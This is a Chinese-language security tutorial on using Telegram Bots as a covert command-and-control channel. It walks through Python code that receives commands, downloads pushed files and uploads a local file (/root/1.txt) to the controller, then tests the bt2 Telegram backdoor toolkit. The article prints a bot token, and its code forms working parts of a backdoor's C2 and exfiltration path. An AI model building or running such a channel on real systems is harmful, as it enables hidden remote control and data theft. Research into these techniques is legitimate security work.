在Github上,涉及到將社交網絡作為C2 server(可理解為命令控制服務器)的poc項目越來越多,如利用gmail的gcat
、gdog
,利用twitter的twittor
、以及利用Telegram的Blaze Telegram Backdoor Toolkit (bt2)
,使用這類方法的好處不僅僅是因為社交網絡的服務器穩定,更多的原因在于其通信可以隱藏在正常流量中,不易被發現。本文將對Telegram中的Bots功能作詳細介紹,并通過python實現基礎的的api調用,同時對Blaze Telegram Backdoor Toolkit (bt2)進行測試,分享其中需要注意的地方。
github項目鏈接:
Tegegram內置的第三方應用,通信方式為HTTPS
登錄Tegegram
訪問https://telegram.me/botfather
添加BotFather為聯系人(BotFather用來創建和管理自定義bot)
如圖
按照提示創建自定義bot
輸入/newbot
,設定如下參數:
#!bash
name:Tegegram聯系列表中顯示的名稱,可任意設定
Username:可理解為botID,此處唯一,需要區別于其他用戶創建的ID,結尾必須為"bot"
token:與bot通信需要提供的憑據
成功創建后自動生成token:221409431:AAEeLznGbuzRONKCwHqyywmetjghCkXl_8
如圖
其他命令:
#!bash
/token:顯示已生成的token
/revoke可用來重新生成token
至此,一個簡單的c2 Server搭建完畢
目前Telegram官網已經公開了如下語言的開發實例:
可在如下頁面具體查看: https://core.telegram.org/bots/samples
本文選用python作測試:
環境搭建
測試系統:
kali 1.0
python 2.7.3
測試帳戶: 3333g
如圖
#!bash
pip install telepot
pip install requests
#!python
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
bot.getMe()
注:
221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8
為創建bot后自動生成的token
如圖,返回username相關信息
在Telegram控制端向c2_test發送消息:hello test
如圖
python下執行如下代碼接收消息:
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
response = bot.getUpdates()
pprint(response)
如圖,成功接收Server端發來的消息
可獲取測試帳戶的first name為3333,last_name為g,id(已打碼),接收到的消息內容為hello test
需要使用bot.message_loop
完整測試代碼如下:
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
pprint.pprint(msg)
def main():
try:
bot.message_loop(handle)
except Exception as err:
print err
while True:
time.sleep(10)
if __name__ == '__main__':
main()
運行如圖,成功接收Server端發送的5條文字消息
使用glance()
可以從接收的消息中提取一個元組(content_type,chat_type,chat_id)
content_type 包括 text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
chat_type 包括 private, group, or channel.
所以我們可以使用glance()
把接收的文字消息提取出來,代碼如下:
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print err
while True:
time.sleep(10)
if __name__ == '__main__':
main()
測試如圖,提取出Server端發來的文本消息
執行接收消息的python代碼,可獲得接收文件的消息格式,如圖
下載文件需要使用bot.download_file(file_id, filename)
優化過的完整代碼如下,可接收上圖Server端發送的文件,并保存在當前目錄
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
elif content_type == 'document':
file_id = msg['document']['file_id']
filename = msg['document']['file_name']
bot.download_file(file_id, filename)
print "[+] Download File Success!"
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print err
while True:
time.sleep(10)
if __name__ == '__main__':
main()
使用bot.sendMessage(chat_id, message)
向Server端發送一條消息,代碼如下:
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
bot.sendMessage(chat_id, 'Hello C2 Server')
注:
chat_id換成自己帳號的chat_id
如圖
Server端接收消息,顯示如下:
使用bot.sendDocument(chat_id,file)
代碼如下:
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
f = open('/root/1.txt', 'rb')
bot.sendDocument(chat_id, f)
注:
chat_id換成自己帳號的chat_id
如圖,Server端可接收bot發過來的文件
以上介紹了Bot API中發送、接收文本消息和上傳、下載文件的功能,剩下只需要將功能拼接,添加命令解析,就可以實現一個簡易的C2 Server POC
同0x02
#!bash
pip install telepot
pip install requests
git clone https://github.com/blazeinfosec/bt2.git
設置以下參數
Clinet上線,發送操作幫助
如圖
如圖
測試成功
演示略
bt2已經搭建好了poc的完整框架,通過Telegram的Bots完全可以實現C2 Server所需的全部功能。bt2目前還存在一些bug,感興趣的小伙伴可以去他們的github提交代碼
Bot還支持一些高級用法,可參照文末的鏈接,實現一些更加高級的功能。
國內用戶目前無法使用gmail、twitter和telegram,所以gcat、gdog、twittor、bt2均無法對國內用戶直接造成威脅。技術不分好壞,壞的是人,希望本文對你有所幫助。
更多研究資料: